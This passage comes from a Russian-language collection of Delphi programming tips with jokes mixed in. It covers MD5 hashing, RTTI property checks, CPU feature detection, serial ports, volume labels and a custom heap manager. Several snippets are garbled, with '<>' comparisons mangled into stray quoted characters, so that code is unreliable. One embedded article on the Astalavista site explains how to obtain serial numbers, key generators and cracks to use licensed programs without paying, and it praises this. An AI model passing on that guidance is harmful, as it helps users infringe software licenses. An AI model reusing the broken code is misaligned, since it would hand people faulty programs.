   MD5Encode(PByteArray(@Digest), PUINT4Array(@Context.state),
    16);
   MD5_memset(PByteArray(@Context), 0, SizeOf(Context));
end;
 
function MD5DigestToStr(const Digest:
  TMD5Digest): string;
var 
   i: Integer;
begin
   Result := '';
   for i := 0 to 15 do Result := Result + IntToHex(Digest.v[i],
    2);
end;
 
function MD5String(const S: string): TMD5Digest;
begin
   Result := MD5Buffer(PChar(S)^, Length(S));
end;
 
function MD5File(const FileName: string): TMD5Digest;
var 
   F: TFileStream;
begin
   F := TFileStream.Create(FileName, fmOpenRead);
   try
      Result := MD5Stream(F);
   finally
      F.Free;
   end;
end;
 
function MD5Stream(const Stream: TStream): TMD5Digest;
var 
   Context: TMD5Context;
 Buffer: array[0..4095] of Byte;
 Size: Integer;
 ReadBytes: Integer;
 TotalBytes: Integer;
 SavePos: Integer;
begin
   MD5Init(Context);
   Size := Stream.Size;
   SavePos := Stream.Position;
   TotalBytes := 0;
   try
      Stream.Seek(0, soFromBeginning);
    repeat
       ReadBytes := Stream.Read(Buffer, SizeOf(Buffer));
       Inc(TotalBytes, ReadBytes);
       MD5Update(Context, @Buffer, ReadBytes);
    until (ReadBytes = 0) or (TotalBytes = Size);
   finally
      Stream.Seek(SavePos, soFromBeginning);
   end;
   MD5Final(Result, Context);
end;
 
function MD5Buffer(const Buffer;
  Size: Integer): TMD5Digest;
var 
   Context: TMD5Context;
begin
   MD5Init(Context);
   MD5Update(Context, PByteArray(@Buffer), Size);
   MD5Final(Result, Context);
end;
 
function MD5DigestCompare(const Digest1,
  Digest2: TMD5Digest): Boolean;
begin
   Result := False;
   if Digest1.A '<';
  '>';
  Digest2.A then Exit;
   if Digest1.B '<';
  '>';
  Digest2.B then Exit;
   if Digest1.C '<';
  '>';
  Digest2.C then Exit;
   if Digest1.D '<';
  '>';
  Digest2.D then Exit;
   Result := True;
end;
  
end.
/////////////////////////////////////
// Данные в модуль можно загнать так
procedure TForm1.Button1Click(Sender: TObject);
var                                                                 
  InFile: TFileStream;                                                 
begin                                                                 
  InFile := TFileStream.Create(fname, fmShareDenyNone);              
  Caption := MD5DigestToStr(MD5Stream(INFILE));                    
end;

Как выяснить имеет ли объект определённое свойство.

Автор: http://www.lmc-mediaagentur.de

function hasprop(comp: TComponent; const prop: string): Boolean;
var
  proplist: PPropList;
  numprops, i: Integer;
begin
  result := false;
  getmem(proplist, getTypeData(comp.classinfo)^.propcount * Sizeof(Pointer));
  try
    NumProps := getproplist(comp.classInfo, tkProperties, proplist);
    for i := 0 to pred(NumProps) do
    begin
      if comparetext(proplist[i]^.Name, prop) = 0 then
      begin
        result := true;
        break;
      end;
    end;
  finally
    freemem(proplist, getTypeData(comp.classinfo)^.propcount * Sizeof(Pointer));
  end;
end;
procedure setcomppropstring(comp: TComponent; const prop, s: string);
var
  proplist: PPropList;
  numprops, i: Integer;
begin
  getmem(proplist, getTypeData(comp.classinfo)^.propcount * Sizeof(Pointer));
  try
    NumProps := getproplist(comp.classInfo, tkProperties, proplist);
    for i := 0 to pred(NumProps) do
    begin
      if (comparetext(proplist[i]^.Name, prop) = 0) and
        (comparetext(proplist[i]^.proptype^.name, 'string') = 0 then
        begin
          setStrProp(comp, proplist[i], s);
          break;
        end;
    end;
  finally
    freemem(proplist, getTypeData(comp.classinfo)^.propcount * Sizeof(Pointer));
  end;
end;

Как определить, есть ли некоторое свойство у объекта.

Автор: Nomadic.

TypInfo.GetPropInfo (My_Component.ClassInfo, 'Hint') <> nil 
Таким образом можно узнать наличие таковой published "прОперти". А вот если это не поможет, то можно и "ломиком" поковыряться посредством FieldAddress. Однако этот метод дает адрес полей, которые перечисляются сразу после объявления класса как в unit'ых форм. А вот ежели "прОперть" нигде не "засветилась" (published) то фиг ты ее достанешь. А модифицировать значение можно посредством прямой записи по адресу FieldAddress (крайне нежелательно!) либо используя цивилизованный способы, перечисленные в unit'е TypInfo.

Модифицировать кучу объектов можно организовав цикл перебора оных с получением в цикле PropertyInfo объекта и записи в объект на основе PropInfo.

Является ли шрифт шрифтом с фиксированной шириной.

Автор: Andy King

Посмотрите в библиотеке console.zip от Danny Thorpe -- он проверяет, является ли шрифт шрифтом с фиксированной шириной. Вот код, который делает это:

procedure TConsole.FontChanged(Sender: TObject);
var
  DC: HDC;
  Save: THandle;
  Metrics: TTextMetric;
  Temp: string;
begin
  if Font.Handle <> FOldFont.Handle then
  begin
    DC := GetDC(0);
    Save := SelectObject(DC, Font.Handle);
    GetTextMetrics(DC, Metrics);
    SelectObject(DC, Save);
    ReleaseDC(0, DC);
    if not (((Metrics.tmPitchAndFamily and ff_Modern) <> 0) and
      ((Metrics.tmPitchAndFamily and $01) = 0)) then
    begin
      Temp := 'TConsole: ' + Font.Name +
        ' не является шрифтом с фиксированной шириной';
      Font.Name := FOldFont.Name; { Возвращаем предыдущие атрибуты шрифта }
      raise EInvalidFont.Create(Temp);
    end;
    SetMetrics(Metrics);
  end;
  FOldFont.Assign(Font);
  if csDesigning in ComponentState then
    InternalClrScr;
end;

Как узнать, была ли перемещена форма.

...
type
  TfrmMain = class(TForm)
  private
    procedure OnMove(var Msg: TWMMove); message WM_MOVE;
end;
...
procedure TfrmMain.OnMove(var Msg: TWMMove);
begin
  inherited;
  ...
end;
...

Как узнать - присутствует ли мышка.

Статьи по Delphi (009)…
Если у вас воняет под мышкой, помойте коврик.
function MousePresent : Boolean;
begin
  if GetSystemMetrics(SM_MOUSEPRESENT) <> 0 then
    Result := true
  else
    Result := false;
end;

Как узнать есть ли у мыши колесико.

Статьи по Delphi (009)…
При использовании трекбола надевайте коврик на палец.

Свойство WheelPresent глобального обьекта Mouse.

Определение наличия в процессоре технологии MMX.

Статьи по Delphi (009)…
Лежит симпатичная девушка на пляже. К ней мужик начинает клеиться. Она его спрашивает: - Вы кем работаете? - Программистом. - Вот представьте: приезжаете вы в отпуск на юг отдохнуть. А тут - компьютеры, компьютеры...

Наша программа выполняет несложную операцию по определению наличия в процессоре технологии MMX, но при помощи этого кода можно узнать и много других характеристик процессора, путем посылки в регистр eax значений от 0 до 2 и при этом тестированием отдельных бит таких регистров как eax,ebx,ecx и edx командой bt (bit test), но наша задача заключается в том, чтоб показать различные способы подключения к delphi ассемблерного кода.

Для создания объектного модуля нужен файл TASM32.EXE, линковать объектный модуль файлом TLINK.EXE ненужно.

Например:

TASM32.EXE /ml CPU2.ASM

Полученный объектный модуль на ассемблере CPU2.OBJ.

.586 ; Будут использоваться дополнительные команды 586 
.MODEL use32 small ; Модель памяти small используется для 
; большинства программ на ассемблере 
stack 100h ; Выделяем область памяти под стек 256 байт
.data
.code
start:
DelCpu proc 
PUBLIC DelCpu ; объявляем процедуру видимую за пределами 
; данного модуля 
xor edx,edx ; обнуляем регистр edx для помещения в него 
; результатов команды cpuid 
mov eax,1 ; засылаем в eax 1 для заполнения регистра edx 
; соответствующими полями после выполнения 
; cpuid команды 
cpuid ; команда идентификация процессора 
bt edx,23 ; команда для тестирования отдельных бит в 
; операнде, в нашем случае проверяем в edx 23 бит 
; и если он устанавнен в 1 значит технология MMX 
; в процессоре есть, а если 0 то нет. Эта команда 
; также присваивает флагу переноса cf значение 
; проверяемого бита 
jnc no ; проверяем значение флага cf если оно равно 0 то 
; на перейти на метку (no), если 1 то продолжаем 
mov eax,1 ; в ассемблере для возврата результата в функцию 
; нужно результат поместить в регистр eax, что мы 
; и делаем 
jmp exit ; безусловный переход на выход
no:
mov eax,0 
exit:
ret ; выход из процедуры
DelCpu endp
end start

Модуль на Delphi.

Очень важный момент, когда будете подключать модуль директивой {$L cpu2.obj} нужно чтоб все строки кода были или закомментированы или чтоб их еще не было вообще.

unit Unit1;
interface
uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls;
type
  TForm1 = class(TForm)
    Edit1: TEdit;
    Button1: TButton;
    procedure Button1Click(Sender: TObject);
    procedure FormCreate(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
end;
var
  Form1: TForm1;
  rez: DWORD;
implementation
{$L cpu2.obj} //подключение нашего asm модуля к delphi
{$R *.dfm}
function DelCpu: DWORD; external; // объявляем функцию DelCpu
// внешней
// ну дальше все понятно
procedure TForm1.FormCreate(Sender: TObject);
begin
  rez:=DelCpu;
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
  if rez = 1 then
    edit1.Text:='MMX-технология есть'
  else
    edit1.Text:='MMX-технологии нет';
end;
end.

Как во время выполнения определить поддерживает ли обьект заданное свойство.

Звонит клиент в сервисную службу: - У меня сломался компьютер и из него пошел дым. Мне сказали что надо что-то изменить в config.sys. Могу ли я воспользоваться Вашими услугами? - Понимаете, если пошел дым, значит что-то сгорело, скорее всего это блок питания. Привезите к нам системный блок и мы заменим Вам блок питания. - Нееее, Вы хотите меня обмануть, мне нужно только настроить config.sys и не более того! Разговор длится 15 минут. Специалист сервисной службы: - ОКЕЙ!!! Позвоните в Microsoft и закажите программу no-smoke.com ver 2.35. Звонок в сервисную службу через 10 минут. Звонит тот же человек. - Возможно поменять у Вас блок питания? - Да, но зачем Вам это? - Эта версия no-smoke.com не поддерживает старые блоки питания.
function HasProperty(Obj: TObject; Prop: string) : PPropInfo;
begin
  Result := GetPropInfo(Obj.ClassInfo, Prop);
end;
procedure TForm1.Button1Click(Sender: TObject);
var
  p : pointer;
begin
  p := HasProperty(Button1, 'Color');
  if p <> nil then
    SetOrdProp(Button1, p, clRed)
  else
    ShowMessage('Button has no color property');
  p := HasProperty(Label1, 'Color');
  if p <> nil then
    SetOrdProp(Label1, p, clRed)
  else
    ShowMessage('Label has no color property');
  p := HasProperty(Label1.Font, 'Color');
  if p <> nil then
    SetOrdProp(Label1.Font.Color, p, clBlue)
  else
    ShowMessage('Label.Font has no color property');
end;

Как узнать, есть ли в приёмном буфере RS232 данные.

Телепрограмма на сегодня: 4.00 РОWЕRхностные явления. 4.05 Winсиканский сериал - "Lоаding in ргоgгеss" 10-11 проценты. 8.30 Игра на мониторе - "Угадай меLОАDию" Уеs,Nо,Саnсе1. 9.00 Программа "Доброе утро, Миstdай". 9.30 "Сам себе Панель Мiсгоsоft Оffiсе". 10.00 Веселые SТАRТы. 11.00 Мультик "Кто сказал БИЗИ?". 11.10 "Соnnесt с первого взгляда". 11.30 "Утренняя почта" с Г. Олдедом. 12.00 NоСаггiегчко. 12.30 Аdоье МозгоЕь. В перерывах СкринSаvегы. 14.00 Самая криминальная программа на мониторе: "Недопустимая операция. Закрыть. Сведения.". 14.30 Юмор на мониторе - клуб "Белый Rеsеt". 15.00-19.00 Профилактические работы. Сериал "SсаnDisк". 19.45 Для самых маленьких - "Unаь1е Еггог, малыши!". 20.00 Документальные данные о реестре "ИеRАRхическая поDLLость". 20.30 Юмористический мониторожурнал - "Назло DiгесtХ". 22.00 Ночной сеанс - "Установка и удаление программ". В главной роли UnInstа11 Windоws'98. 23.00 Как это было. "Windоws 3.11" 1990 год. 00.00 Контра, Альт, Дель.

При помощи функции ClearCommError можно узнать, сколько байт данных находится в буфере приёма (и буфере передачи) последовательного интерфейса.

procedure DataInBuffer(Handle: THandle;
var InQueue, OutQueue: integer);
var
  ComStat: TComStat;
  e: integer;
begin
  if ClearCommError(Handle, e, @ComStat) then
  begin
    InQueue := ComStat.cbInQue;
    OutQueue := ComStat.cbOutQue;
  end
  else
  begin
    InQueue := 0;
    OutQueue := 0;
  end;
end;

Как определить наличие сопроцессора.

Статьи по Delphi (009)…
Системщику на день рождения подарили чемодан. Ну он спрашивает: - Зачем? - Ну как, - говорят, - ты же в командировки там всякие ездишь, системки отлаживать? - Ну... - Так вот, сюда трусики положишь, сюда носочки, сюда... - Стоп, стоп, ребята! А в чем же я сам поеду?

В отличие от общепринятого мнения не всее клоны 486/586/686/ и Pentium имеют сопроцессор для вычислений с плавающей запятой. В примере определяется наличие сопроцессора и под Win16 и под Win32.

{$IFDEF WIN32}
uses
  Registry;
{$ENDIF}
function HasCoProcesser : bool;
{$IFDEF WIN32}
var
  TheKey : hKey;
{$ENDIF}
begin
  Result := true;
  {$IFNDEF WIN32}
  if GetWinFlags and Wf_80x87 = 0 then
    Result := false;
  {$ELSE}
  if RegOpenKeyEx(HKEY_LOCAL_MACHINE, 'HARDWARE\DESCRIPTION\System\FloatingPointProcessor',
  0, KEY_EXECUTE, TheKey) ERROR_SUCCESS then
    result := false;
  RegCloseKey(TheKey);
  {$ENDIF}
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
  if HasCoProcesser then
    ShowMessage('Has CoProcessor')
  else
    ShowMessage('No CoProcessor - Windows Emulation Mode');
end;

Как выяснить установлены ли в системе шрифты TrueType.

Решили инженеры выполнить мечту Билла Гейтса - поставили "Винды" на холодильник. Запустили - работает. Поставили внутрь кастрюлю борща. Глядь - сообщение: - Обнаружено новое устройство "Кастрюля (4 л) красная". Будем устанавливать?
function IsTrueTypeInstalled: bool;
var
  {$IFDEF WIN32}
  rs : TRasterizerStatus;
  {$ELSE}
  rs : TRasterizer_Status;
  {$ENDIF}
begin
  result := false;
  if not GetRasterizerCaps(rs, sizeof(rs)) then
    exit;
  if rs.WFlags and TT_AVAILABLE <> TT_AVAILABLE then
    exit;
  if rs.WFlags and TT_ENABLED <> TT_ENABLED then
    exit;
  result := true;
end;

Асталависта - территория взлома.

Оформил: DeeCo

(по материалам www.emedia.ru).

"Astalavista" - большая черная машина, приводящая всех продавцов и большинство разработчиков программного обеспечения в грустное настроение, является одним из наиболее посещаемых серверов Интернета. "Удел информации в типично американском обществе в том, чтобы стать предметом купли-продажи", - писал еще в 1950 г. "отец кибернетики" Норберт Винер. Это его утверждение сейчас особенно применимо к области создания и продажи программных (то есть чисто информационных) продуктов. Вместе с тем, Винер отмечал, что "информация не имеет хозяина". В этом противоречии заложены основы длительного конфликта между компаниями-производителями программных продуктов и хакерским сообществом, представляющим собой нечто большее, чем неформальное объединение компьютерных хулиганов. По сути дела, идет если не война, то постоянное соревнование между теми, кто создает различные средства компьютерной и информационной безопасности, и теми, кто их разрушает. Это соревнование взаимно стимулирует лучших специалистов по обе стороны баррикады. Флагманом хакерского сообщества, несомненно, является "Astalavista" , которая не просто объединяет усилия различных хакерских групп, но и координирует их действия. "Astalavista" - это поисковая машина, посвященная "вопросам компьютерной безопасности", как несколько неопределенно указано на сайте. Если говорить проще, то это информационная система, объединяющая ресурсы примерно тысячи сайтов хакерского сообщества. Однако это лишь титульная страница, яркая "упаковка" с рекламными баннерами, с которой через систему отдельных поисковых окон можно выйти на несколько справочных систем. Сама "Astalavista" начисто лишена каких бы то ни было дизайнерских изысков. По сути, сайт является лишь страницей переадресации. Ввиду специфики информации, выложенной на серверах-первоисточниках, они часто меняют адреса. Да и сама "Astalavista" представлена целым рядом "зеркал" - синхронно обновляемых серверов. Некоторые из них могут быть временно недоступны, поэтому рекомендуется сохранить все приведенные ниже адреса. Наиболее быстрый из них - http://astalavista2.box.sk/ - сервер в Словакии. В случае его "миграции", поиск лучше начинать с главного сервера http://astalavista.box.sk/, а уж если не повезет, то перебрать и все остальные: http://astalavista5.box.sk/; http://us.box.sk/cgi-bin/robot.cgi; http://astalavista3.box.sk/; http://astalavista7.box.sk/ - синхронно обновляемые серверы-"зеркала" в США; http://uk.astalavista.box.sk/ - сервер в Великобритании; http://fr.astalavista.box.sk/ - сервер во Франции. Сведения по "вопросам компьютерной безопасности", а точнее, ее нарушения, слишком широкая тема. Они включают в себя отчеты о последних "атаках" на различные сайты, списки телефонов и паролей для доступа на коммерческие и правительственные серверы, включая военные и различных спецслужб, а так же новости о деятельности различных хакерских групп и их "разработках". Мы остановимся на том, чем "Astalavista" привлекает к себе большинство практичных и несклонных к противозаконным действиям посетителей. Речь, конечно, идет о взломе программного обеспечения, а точнее, о несанкционированном использовании лицензионных программ. Для этого надо всего лишь ввести название программы (желательно с указанием версии) в поисковое окно, используя пробелы как разделители, и подождать минуту. В результате таких нехитрых действий вы, возможно, получите список сайтов, где вам "помогут". Форма этой помощи бывает трех видов: Самое простое - вы найдете "серийные номера" (SN), позволяющие "зарегистрировать" программу. При этом имя пользователя может оказаться самым необычным. Например: "gERMAN cORRUPTED kILLaS " (именно так) - наименование одной из немецких хакерских групп. Второй вариант - это "генераторы ключей". Небольшие утилиты, которые для любого пользовательского имени подбирают индивидуальный код. С его помощью можно "зарегистрировать" популярную программу или избавиться от рекламного баннера на интерфейсе. Некоторые из генераторов снабжены издевательскими пояснениями, о том, что полученный таким образом код рекомендуется использовать только официально зарегистрированным пользователям, если они его вдруг забыли. В ряде случаев, как, например, для "Коперника - 2000", о котором уже шла речь на страницах eMedia, приходится скачивать взломанный дистрибутив целиком, так как программа оснащена гораздо более серьезной защитой. При этом на дистрибутиве вы обнаружите характерные следы взлома, своего рода визитную карточку хакера. Чаще всего задача решается при помощи сrаск'а ("крэка"). Это утилита, разблокирующая действие лицензионной защиты. Обычно ее надо переписать в папку, где установлена основная программа, и запустить в соответствии с прилагаемыми инструкциями. Эти самые инструкции, вместе с различными "списками достижений" и хакерскими "манифестами", как правило, содержатся в файлах с непривычными расширениями *.diz и *.nfo . Это обычные текстовые файлы, иногда в DОSовской кодировке, и проще всего их сразу переименовать в *.txt. Возможно, что поиск не принесет результатов. Не стоит отчаиваться. Количество "подключаемых" к "Astalaviste" сайтов постоянно меняется. Опыт показывает, что первые результаты "взлома" оказываются обнародованными примерно через две недели после появления новой версии программного продукта. Иногда фирмы-изготовители меняют версии программ, а точнее, системы защиты, в течение нескольких дней после появления соответствующего "крэка". Поэтому иногда приходится дожидаться плодов хакерских трудов, предварительно скачав требующуюся программу. Важно отметить, что взлому подвергается далеко не все, а только общепризнанные лучшие программы. То есть наличие "крэка" является своеобразным критерием качества программного продукта. Часто ссылка может привести вас на российский хакерский сайт. Важно отметить, что российские хакеры являются одними из наиболее высококвалифицированных. Хакеры - это субкультура и мировоззрение. Хакер нужен как волк, не дающий расслабиться фирмам-монополистам. Microsoft и Netscape выпускают многие программные продукты бесплатно только потому, что их все равно взломают. Без волка-хакера толстые лоси-монополисты погибнут от ожирения, предварительно задавив обычного пользователя необходимостью платить за каждый байт информации. При этом страны с низкой покупательной способностью, такие как Россия, были бы отброшены на десяток лет в своем информационно-техническом развитии. Так что "Atalavista", наверное, наиболее важна именно для российских пользователей. В заключение хочу напомнить, что взгляды редакции не обязательно совпадают с авторским мнением.

Управление метками томов дисков.

Во имя процессора-отца, монитора-сына и святаго винча... Enter!

Данный совет содержит исходный код модуля, который может помочь Вам получить, установить и удалить метку тома гибкого или жесткого диска. Код получения метки тома содержит функцию Delphi FindFirst, код для установки и удаления метки тома использует вызов DOS-прерывания 21h и функции 16h и 13h соответственно. Поскольку функция 16h не поддерживается Windows, она должна вызываться через DPMI-прерывание 31h, функцию 300h.

{ *** НАЧАЛО КОДА МОДУЛЯ VOLLABEL *** }
unit VolLabel;
interface
uses Classes, SysUtils, WinProcs;
type
  EInterruptError = class(Exception);
  EDPMIError = class(EInterruptError);
  Str11 = string[11];
procedure SetVolumeLabel(NewLabel: Str11; Drive: Char);
function GetVolumeLabel(Drive: Char): Str11;
procedure DeleteVolumeLabel(Drv: Char);
implementation
type
  PRealModeRegs = ^TRealModeRegs;
  TRealModeRegs = record
    case Integer of
      0: (
        EDI, ESI, EBP, EXX, EBX, EDX, ECX, EAX: Longint;
        Flags, ES, DS, FS, GS, IP, CS, SP, SS: Word);
      1: (
        DI, DIH, SI, SIH, BP, BPH, XX, XXH: Word;
        case Integer of
          0: (
            BX, BXH, DX, DXH, CX, CXH, AX, AXH: Word);
          1: (
            BL, BH, BLH, BHH, DL, DH, DLH, DHH,
            CL, CH, CLH, CHH, AL, AH, ALH, AHH: Byte));
  end;
  PExtendedFCB = ^TExtendedFCB;
  TExtendedFCB = record
    ExtendedFCBflag: Byte;
    Reserved1: array[1..5] of Byte;
    Attr: Byte;
    DriveID: Byte;
    FileName: array[1..8] of Char;
    FileExt: array[1..3] of Char;
    CurrentBlockNum: Word;
    RecordSize: Word;
    FileSize: LongInt;
    PackedDate: Word;
    PackedTime: Word;
    Reserved2: array[1..8] of Byte;
    CurrentRecNum: Byte;
    RandomRecNum: LongInt;
  end;
procedure RealModeInt(Int: Byte; var Regs: TRealModeRegs);
{ процедура работает с прерыванием 31h, функцией 0300h для иммитации }
{ прерывания режима реального времени для защищенного режима. }
var
  ErrorFlag: Boolean;
begin
  asm
    mov ErrorFlag, 0       { успешное завершение }
    mov ax, 0300h          { функция 300h }
    mov bl, Int            { прерывание режима реального времени, которое необходимо выполнить }
    mov bh, 0              { требуется }
    mov cx, 0              { помещаем слово в стек для копирования, принимаем ноль }
    les di, Regs           { es:di = Regs }
    int 31h                { DPMI-прерывание 31h }
    jnc @@End              { адрес перехода установлен в error }
    @@Error:
    mov ErrorFlag, 1       { возвращаем false в error }
    @@End:
  end;
  if ErrorFlag then
    raise EDPMIError.Create('Неудача при выполнении DPMI-прерывания');
end;
function DriveLetterToNumber(DriveLet: Char): Byte;
{ функция преобразования символа буквы диска в цифровой эквивалент. }
begin
  if DriveLet in ['a'..'z'] then
    DriveLet := Chr(Ord(DriveLet) - 32);
  if not (DriveLet in ['A'..'Z']) then
    raise
      EConvertError.CreateFmt('Не могу преобразовать %s в числовой эквивалент диска',
      [DriveLet]);
  Result := Ord(DriveLet) - 64;
end;
procedure PadVolumeLabel(var Name: Str11);
{ процедура заполнения метки тома диска строкой с пробелами }
var
  i: integer;
begin
  for i := Length(Name) + 1 to 11 do
    Name := Name + ' ';
end;
function GetVolumeLabel(Drive: Char): Str11;
{ функция возвращает метку тома диска }
var
  SR: TSearchRec;
  DriveLetter: Char;
  SearchString: string[7];
  P: Byte;
begin
  SearchString := Drive + ':\*.*';
  { ищем метку тома }
  if FindFirst(SearchString, faVolumeID, SR) = 0 then
  begin
    P := Pos('.', SR.Name);
    if P > 0 then
    begin { если у него есть точка... }
      Result := '           '; { пространство между именами }
      Move(SR.Name[1], Result[1], P - 1); { и расширениями }
      Move(SR.Name[P + 1], Result[9], 3);
    end
    else
    begin
      Result := SR.Name; { в противном случае обходимся без пробелов }
      PadVolumeLabel(Result);
    end;
  end
  else
    Result := '';
end;
procedure DeleteVolumeLabel(Drv: Char);
{ процедура удаления метки тома с данного диска }
var
  CurName: Str11;
  FCB: TExtendedFCB;
  ErrorFlag: WordBool;
begin
  ErrorFlag := False;
  CurName := GetVolumeLabel(Drv); { получение текущей метки тома }
  FillChar(FCB, SizeOf(FCB), 0); { инициализируем FCB нулями }
  with FCB do
  begin
    ExtendedFCBflag := $FF; { всегда }
    Attr := faVolumeID; { Аттрибут Volume ID }
    DriveID := DriveLetterToNumber(Drv); { Номер диска }
    Move(CurName[1], FileName, 8); { необходимо ввести метку тома }
    Move(CurName[9], FileExt, 3);
  end;
  asm
    push ds                             { сохраняем ds }
    mov ax, ss                          { помещаем сегмент FCB (ss) в ds }
    mov ds, ax
    lea dx, FCB                         { помещаем смещение FCB в dx }
    mov ax, 1300h                       { функция 13h }
    Call DOS3Call                       { вызываем int 21h }
    pop ds                              { восстанавливаем ds }
    cmp al, 00h                         { проверка на успешность выполнения }
    je @@End
    @@Error:                            { устанавливаем флаг ошибки }
    mov ErrorFlag, 1
    @@End:
  end;
  if ErrorFlag then
    raise EInterruptError.Create('Не могу удалить имя тома');
end;
procedure SetVolumeLabel(NewLabel: Str11; Drive: Char);
{ процедура присваивания метки тома диска. Имейте в виду, что }
{ данная процедура удаляет текущую метку перед установкой новой. }
{ Это необходимое требование для функции установки метки. }
var
  Regs: TRealModeRegs;
  FCB: PExtendedFCB;
  Buf: Longint;
begin
  PadVolumeLabel(NewLabel);
  if GetVolumeLabel(Drive) <> '' then { если имеем метку... }
    DeleteVolumeLabel(Drive); { удаляем метку }
  Buf := GlobalDOSAlloc(SizeOf(PExtendedFCB)); { распределяем реальный буфер }
  FCB := Ptr(LoWord(Buf), 0);
  FillChar(FCB^, SizeOf(FCB), 0); { инициализируем FCB нулями }
  with FCB^ do
  begin
    ExtendedFCBflag := $FF; { требуется }
    Attr := faVolumeID; { Аттрибут Volume ID }
    DriveID := DriveLetterToNumber(Drive); { Номер диска }
    Move(NewLabel[1], FileName, 8); { устанавливаем новую метку }
    Move(NewLabel[9], FileExt, 3);
  end;
  FillChar(Regs, SizeOf(Regs), 0);
  with Regs do
  begin { Сегмент FCB }
    ds := HiWord(Buf); { отступ = ноль }
    dx := 0;
    ax := $1600; { Функция 16h }
  end;
  RealModeInt($21, Regs); { создаем файл }
  if (Regs.al <> 0) then { проверка на успешность выполнения }
    raise EInterruptError.Create('Не могу создать метку тома');
end;
end.
{ *** КОНЕЦ КОДА МОДУЛЯ VOLLABEL *** }

Серийный номер тома HDD.

Автор: Алексей Коган
И ты, root?
procedure TForm1.Button1Click(Sender: TObject);
var
  SerialNum : dword;
  a, b : dword;
  Buffer  : array [0..255] of char;
begin
  if GetVolumeInformation('c:\', Buffer, SizeOf(Buffer),
    @SerialNum, a, b, nil, 0) then
      Label1.Caption := IntToStr(SerialNum);
end;
Алексей Коган
FIDOnet 2:5064/7.69
Russia, Stavropol

Должен заметить, что GetVolumeInformation возвращает серийный номер ТОМА, а не винчестера, то есть, если заменить C:\ на D:\, то номерок-то и поменяется...

Диспетчер кучи для объектов одного размера.

Оформил: DeeCo

Автор: Сергей Парунов.

Модуль содержит класс psnFixSzMemMgr, реализующий диспетчер кучи для объектов одного размера.

Динамическое размещение объектов (не только экземпляров классов, а вообще) в куче имеет неоспоримые преимущества: гибкость, простота... Но у такого подхода есть недостаток, проистекающий от всеядности стандартного диспетчера кучи языка (Delphi), который и выбирает, откуда "отщипнуть" кусочек памяти. Уж очень много самых разных блоков выделяется-освобождается в куче, и она превращается в швейцарский сыр. Отсюда вытекают две неприятности. Во-первых, когда выделяется блок памяти, диспетчер вынужден запомнить его размер и прочие параметры в пропадающем зря 4-байтном (чаще всего) заголовке (для освобождения). Во-вторых, уж очень медленен этот процесс - надо перестроить дерево... в общем, тактов 200 на одно выделение/освобождение на процессоре Пентиум 3 обеспечено.

Все эти недостатки проявляются особенно сильно при работе с маленькими динамическими переменными, которые часто так заманчиво применять для различных списков, деревьев, графов... И самое обидное, что вся эта возня - впустую: так как размер переменных нам-то известен, нет необходимости ни в мудрёном отслеживании блоков (можно обойтись простым списком неиспользуемых), ни тем более в запоминании размера каждого выделенного блока. Эти соображения ведут к применению массивов, с которыми нередко достигается наибольшая скорость, но есть и свои сложности: сложность (простите за каламбур) и негибкость. К тому же частое применение индексов в массиве всё же медленнее использования указателей.

Данный класс реализует упрощенный диспетчер кучи для объектов одного размера (назовём его экземпляр кучей), который можно применять вместо стандартного, получая с маленькими объектами существенно большую скорость, а часто и экономию памяти, за счёт реализации старого татаро-монгольского принципа: "меньше чем по десять тысяч мы даже в гости не ходим" ((c) Александр Борянский, Сергей Козлов).

Его применение в основном подобно стандартному:
with psnFixSzMemMgr.Create(16) do
begin // куча создана
  Ptr := FixNew; // Выделяем блок в 16 байт.
  ... // Делаем всё, что нам надо.
  FixDsp(Ptr); // Блок, указуемый Ptr, возвращён в кучу. Вообще-то
  // этот шаг перед самым разрушением кучи
  // необязателен, это стоит делать, только когда
  // есть надежда на повторное использование блока.
  Destroy; // Куча разрушена.
end;

Статистика: с 8-12-байтными блоками втрое обгоняет стандартный, с возрастанием блока до 48 байт практически сравнивается с ним. Экономия памяти при хорошем наполнении составляет почти 4 байта на блок.

У него есть недостаток, вытекающий из назначения. Рассмотрим в общих чертах его работу. Он выделяет большой массив памяти, нарезает его блоками и скармливает нам, пока он не кончится, выделяет следующий и т.д. Но определением того факта, что в массиве уже нет ни одного используемого блока, и освобождением массива этот диспетчер кучи не занимается по соображениям скорости. Иными словами, грубо говоря, если Вы выделили 1024 блока памяти по 16 байт, а затем все их освободили, пропадёт 16 кБ памяти до освобождения либо заполнения заново этой кучи.

Но динамические структуры чаще всего применяются однократно или не уменьшаются так резко в ходе работы. Не проблема и реализовать несколько замедленный вариант диспетчера кучи с автоосвобождением. Более того, если идёт интенсивная работа с мелкими блоками, вероятность того, что полностью освободится целый массив, невелика. А если не смущает некоторая замедленность работы, то для блоков произвольного размера можно воспользоваться API (LocalAlloc, HeapCreate и пр.), позволяющими реализовать отдельную кучу.

У отдельной кучи вообще есть большой плюс - динамическую структуру данных, размещённую в общей куче, долго и в некоторых случаях сложно уничтожать (утечки памяти). А тут это делается просто деструктором (это НЕ касается структур, содержащих длинные строки, динамические массивы и интерфейсы, а также объектов с таковыми - тут, увы, можно применять разве что SetMemoryManager и TObject.NewInstance...).

Я обнаружил, что запрошенная посредством VirtualAlloc (как делает "настоящий" диспетчер памяти) память в окне CPU Delphi 5 отображается как мусор: изменить память там можно, а посмотреть - нет (с всплывающей подсказкой в редакторе кода всё нормально). Так что диспетчер реализован как надстройка над стандартным, что, конечно, несколько снижает скорость, но зато позволяет уменьшить потери памяти на фрагментацию для небольших объёмов (VirtualAlloc не размещает память меньше чем по странице - 4 кБ на процессорах линии IA32).

Исходный код модуля:
type
  psnFixSzMemMgr = class
  private
    FLastCommit, {указатель на последний выделенный массив, в начале которого -
    указатель на предпоследний...}
    FEmptyBlock: Pointer; {указатель на последний пустой блок из списка, в
    начале которого - указатель на предпоследний...}
    FBlockSize, FCommitSize, FFillCycles: Integer;
  public
    constructor Create(
      const BlockSize: Integer; {Размер выделяемых блоков памяти. Реально
      округляется в большую сторону до величины, кратной 4.}
      const CommitBlocks: Integer = 127 {Количество блоков в выделяемых
      массивах. Должно быть больше 1 (иначе зачем огород городить?), а для
      скорости желательно не меньше 31. Реально увеличивается до ближайшего
      сверху нечётного значения (алгоритм требует это для высокой скорости).}
      );
    function FixNew: Pointer; {Выделяет блок памяти размера BlockSize и
